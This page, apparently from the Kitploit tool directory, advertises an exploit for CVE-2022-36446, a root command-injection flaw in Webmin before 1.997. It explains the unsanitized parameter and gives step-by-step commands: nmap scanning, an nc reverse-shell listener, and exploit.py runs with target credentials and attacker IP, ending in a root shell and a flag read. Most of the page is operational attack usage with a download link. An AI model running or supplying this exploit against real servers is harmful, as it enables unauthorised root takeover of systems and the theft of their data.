Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-36446-Webmin-RCE — Authenticated remote code execution exploit for Webmin < 1.997 via the Software Package Updates module. Injects arbitrary commands as root through an unsanitized parameter, delivering a reverse shell. | Kitploit
Tools/GitHubGitHub/darnabin/cve-2022-36446-webmin-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubdarnabin/cve-2022-36446-webmin-rce

CVE-2022-36446-Webmin-RCE

Authenticated remote code execution exploit for Webmin < 1.997 via the Software Package Updates module. Injects arbitrary commands as root through an unsanitized parameter, delivering a reverse shell.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
22 months agoNot yet reviewed
Share

CVE-2022-36446 — Webmin < 1.997 RCE (Authenticated)

Exploit for the Remote Code Execution vulnerability in Webmin versions prior to 1.997, through the Software Package Updates module.

How does it work?

The Webmin Software Package Updates module does not properly sanitize the u parameter before passing it to the system. An authenticated user with access to that module can inject arbitrary commands that are executed as root.


Prerequisites

Install the dependencies before running the exploit:

root@kitploit:~
pip3 install requests beautifulsoup4 lxml urllib3

Parameters

ParameterDescriptionExample
-tTarget URL (without port)https://192.168.1.10
-uWebmin useradmin
-pWebmin passwordpassword123
-lYour IP (where you receive the shell)192.168.1.5
-lpListening port4444

Step by step

1 — Identify the target IP with Nmap:

root@kitploit:~
nmap -sV TARGET_IP
# Look for port 10000 with Webmin

2 — Open the listener on your machine:

root@kitploit:~
nc -lvnp 4444

3 — In another terminal, run the exploit:

root@kitploit:~
python3 exploit.py \
  -t https://TARGET_IP \
  -u admin \
  -p PASSWORD \
  -l YOUR_IP \
  -lp 4444

4 — If the exploit is successful you will see:

5 — In the listener you will receive a shell as root:

root@kitploit:~
# whoami
root
# cat /root/Desktop/FLAG.txt
FLAG{...}

Complete example

root@kitploit:~
# Terminal 1
nc -lvnp 4444

# Terminal 2
python3 exploit.py -t https://192.168.253.156 -u admin -p 'W3bm1n2024' -l 192.168.253.130 -lp 4444

Reference

  • CVE: CVE-2022-36446
  • CVSS Score: 9.9 (Critical)
  • Vulnerable version: Webmin < 1.997
  • Original exploit: https://www.exploit-db.com/exploits/50998
  • Original author: Emir Polat
Download Tool